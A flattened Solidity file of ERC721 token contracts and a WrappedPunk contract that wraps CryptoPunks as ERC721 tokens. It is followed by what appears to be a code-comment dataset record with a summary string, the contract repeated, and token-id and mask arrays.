pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: contracts\token\erc721\ERC165.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: contracts\token\erc721\ERC721.sol
pragma solidity ^0.5.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
constructor () public {
// Register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
}
/**
* @dev Gets the balance of the specified address.
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _ownedTokensCount[owner].current();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
address msgSender = _msgSender();
require(to != msgSender, "ERC721: approve to caller");
_operatorApprovals[msgSender][to] = approved;
emit ApprovalForAll(msgSender, to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public {
// solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transferFrom(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the _msgSender() to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransferFrom(from, to, tokenId, _data);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal {
_transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwner[tokenId] != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _safeMint(address to, uint256 tokenId) internal {
_safeMint(to, tokenId, "");
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own");
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* This is an internal detail of the `ERC721` contract and its use is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) {
if (!to.isContract()) {
return true;
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = to.call(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
));
if (!success) {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert("ERC721: transfer to non ERC721Receiver implementer");
}
} else {
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
}
/**
* @dev Private function to clear current approval of a given token ID.
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
// File: contracts\token\erc721\ERC721Enumerable.sol
pragma solidity ^0.5.0;
/**
* @title ERC-721 Non-Fungible Token with optional enumeration extension logic
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor () public {
// Register the supported interface to conform to ERC721Enumerable via ERC165
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner.
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev Gets the total amount of tokens stored by the contract.
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens.
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to transferFrom, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
super._transferFrom(from, to, tokenId);
_removeTokenFromOwnerEnumeration(from, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to address the beneficiary that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
_addTokenToAllTokensEnumeration(tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {ERC721-_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
_removeTokenFromOwnerEnumeration(owner, tokenId);
// Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund
_ownedTokensIndex[tokenId] = 0;
_removeTokenFromAllTokensEnumeration(tokenId);
}
/**
* @dev Gets the list of token IDs of the requested owner.
* @param owner address owning the tokens
* @return uint256[] List of token IDs owned by the requested address
*/
function _tokensOfOwner(address owner) internal view returns (uint256[] storage) {
return _ownedTokens[owner];
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
_ownedTokensIndex[tokenId] = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by
// lastTokenId, or just over the end of the array if the token was the last one).
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
}
}
// File: contracts\libs\Strings.sol
pragma solidity ^0.5.0;
/**
* @title Strings
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to a `string`.
* via OraclizeAPI - MIT licence
* https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
*/
function fromUint256(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: contracts\token\erc721\IERC721Metadata.sol
pragma solidity ^0.5.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts\token\erc721\ERC721Metadata.sol
pragma solidity ^0.5.0;
contract ERC721Metadata is ERC721, IERC721Metadata {
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Base URI
string private _baseURI;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/**
* @dev Constructor function
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// Register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
}
/**
* @dev Gets the token name.
* @return string representing the token name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Gets the token symbol.
* @return string representing the token symbol
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the URI for a given token ID. May return an empty string.
*
* If a base URI is set (via {_setBaseURI}), it is added as a prefix to the
* token's own URI (via {_setTokenURI}).
*
* If there is a base URI but no token URI, the token's ID will be used as
* its URI when appending it to the base URI. This pattern for autogenerated
* token URIs can lead to large gas savings.
*
* .Examples
* |===
* |`_setBaseURI()` |`_setTokenURI()` |`tokenURI()`
* | ""
* | ""
* | ""
* | ""
* | "token.uri/123"
* | "token.uri/123"
* | "token.uri/"
* | "123"
* | "token.uri/123"
* | "token.uri/"
* | ""
* | "token.uri/<tokenId>"
* |===
*
* Requirements:
*
* - `tokenId` must exist.
*/
function tokenURI(uint256 tokenId) public view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.fromUint256()));
}
/**
* @dev Internal function to set the token URI for a given token.
*
* Reverts if the token ID does not exist.
*
* TIP: if all token IDs share a prefix (e.g. if your URIs look like
* `http://api.myproject.com/token/<id>`), use {_setBaseURI} to store
* it and save gas.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI}.
*
* _Available since v2.5.0._
*/
function _setBaseURI(string memory baseURI) internal {
_baseURI = baseURI;
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a preffix in {tokenURI} to each token's URI, when
* they are non-empty.
*
* _Available since v2.5.0._
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clears metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File: contracts\token\erc721\ERC721Full.sol
pragma solidity ^0.5.0;
/**
* @title Full ERC721 Token
* @dev This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology.
*
* See https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Full is ERC721Enumerable, ERC721Metadata {
constructor (string memory name, string memory symbol) public ERC721Metadata(name, symbol) {
// solhint-disable-previous-line no-empty-blocks
}
}
// File: contracts\cryptopunk\ICryptoPunk.sol
pragma solidity ^0.5.0;
interface ICryptoPunk {
function punkIndexToAddress(uint256 punkIndex) external returns (address);
function punksOfferedForSale(uint256 punkIndex) external returns (bool, uint256, address, uint256, address);
function buyPunk(uint punkIndex) external payable;
function transferPunk(address to, uint punkIndex) external;
}
// File: contracts\cryptopunk\wrapped-punk\UserProxy.sol
pragma solidity ^0.5.0;
contract UserProxy {
address private _owner;
/**
* @dev Initializes the contract settings
*/
constructor()
public
{
_owner = msg.sender;
}
/**
* @dev Transfers punk to the smart contract owner
*/
function transfer(address punkContract, uint256 punkIndex)
external
returns (bool)
{
if (_owner != msg.sender) {
return false;
}
(bool result,) = punkContract.call(abi.encodeWithSignature("transferPunk(address,uint256)", _owner, punkIndex));
return result;
}
}
// File: contracts\cryptopunk\wrapped-punk\WrappedPunk.sol
pragma solidity ^0.5.0;
contract WrappedPunk is Ownable, ERC721Full, Pausable {
event ProxyRegistered(address user, address proxy);
// Instance of cryptopunk smart contract
ICryptoPunk private _punkContract;
// Mapping from user address to proxy address
mapping(address => address) private _proxies;
/**
* @dev Initializes the contract settings
*/
constructor(address punkContract)
public
ERC721Full("Wrapped Cryptopunks", "WPUNKS")
{
_punkContract = ICryptoPunk(punkContract);
}
/**
* @dev Gets address of cryptopunk smart contract
*/
function punkContract()
public
view
returns (address)
{
return address(_punkContract);
}
/**
* @dev Sets the base URI for all token
*/
function setBaseURI(string memory baseUri)
public
onlyOwner
{
_setBaseURI(baseUri);
}
/**
* @dev Triggers smart contract to stopped state
*/
function pause()
public
onlyOwner
{
_pause();
}
/**
* @dev Returns smart contract to normal state
*/
function unpause()
public
onlyOwner
{
_unpause();
}
/**
* @dev Registers proxy
*/
function registerProxy()
public
{
address sender = _msgSender();
require(_proxies[sender] == address(0), "PunkWrapper: caller has registered the proxy");
address proxy = address(new UserProxy());
_proxies[sender] = proxy;
emit ProxyRegistered(sender, proxy);
}
/**
* @dev Gets proxy address
*/
function proxyInfo(address user)
public
view
returns (address)
{
return _proxies[user];
}
/**
* @dev Mints a wrapped punk
*/
function mint(uint256 punkIndex)
public
whenNotPaused
{
address sender = _msgSender();
UserProxy proxy = UserProxy(_proxies[sender]);
require(proxy.transfer(address(_punkContract), punkIndex), "PunkWrapper: transfer fail");
_mint(sender, punkIndex);
}
/**
* @dev Burns a specific wrapped punk
*/
function burn(uint256 punkIndex)
public
whenNotPaused
{
address sender = _msgSender();
require(_isApprovedOrOwner(sender, punkIndex), "PunkWrapper: caller is not owner nor approved");
_burn(punkIndex);
// Transfers ownership of punk on original cryptopunk smart contract to caller
_punkContract.transferPunk(sender, punkIndex);
}
/**
* @dev Internal function to transfer ownership of a given punk index to another address
*/
function _transferFrom(address from, address to, uint256 punkIndex)
internal
whenNotPaused
{
super._transferFrom(from, to, punkIndex);
}
} | Instance of cryptopunk smart contract Mapping from user address to proxy address | contract WrappedPunk is Ownable, ERC721Full, Pausable {
event ProxyRegistered(address user, address proxy);
ICryptoPunk private _punkContract;
mapping(address => address) private _proxies;
constructor(address punkContract)
public
ERC721Full("Wrapped Cryptopunks", "WPUNKS")
{
_punkContract = ICryptoPunk(punkContract);
}
function punkContract()
public
view
returns (address)
{
return address(_punkContract);
}
function setBaseURI(string memory baseUri)
public
onlyOwner
{
_setBaseURI(baseUri);
}
function pause()
public
onlyOwner
{
_pause();
}
function unpause()
public
onlyOwner
{
_unpause();
}
function registerProxy()
public
{
address sender = _msgSender();
require(_proxies[sender] == address(0), "PunkWrapper: caller has registered the proxy");
address proxy = address(new UserProxy());
_proxies[sender] = proxy;
emit ProxyRegistered(sender, proxy);
}
function proxyInfo(address user)
public
view
returns (address)
{
return _proxies[user];
}
function mint(uint256 punkIndex)
public
whenNotPaused
{
address sender = _msgSender();
UserProxy proxy = UserProxy(_proxies[sender]);
require(proxy.transfer(address(_punkContract), punkIndex), "PunkWrapper: transfer fail");
_mint(sender, punkIndex);
}
function burn(uint256 punkIndex)
public
whenNotPaused
{
address sender = _msgSender();
require(_isApprovedOrOwner(sender, punkIndex), "PunkWrapper: caller is not owner nor approved");
_burn(punkIndex);
_punkContract.transferPunk(sender, punkIndex);
}
function _transferFrom(address from, address to, uint256 punkIndex)
internal
whenNotPaused
{
super._transferFrom(from, to, punkIndex);
}
} | 12,605,306 | [
1,
1442,
434,
13231,
556,
1683,
13706,
6835,
9408,
628,
729,
1758,
358,
2889,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
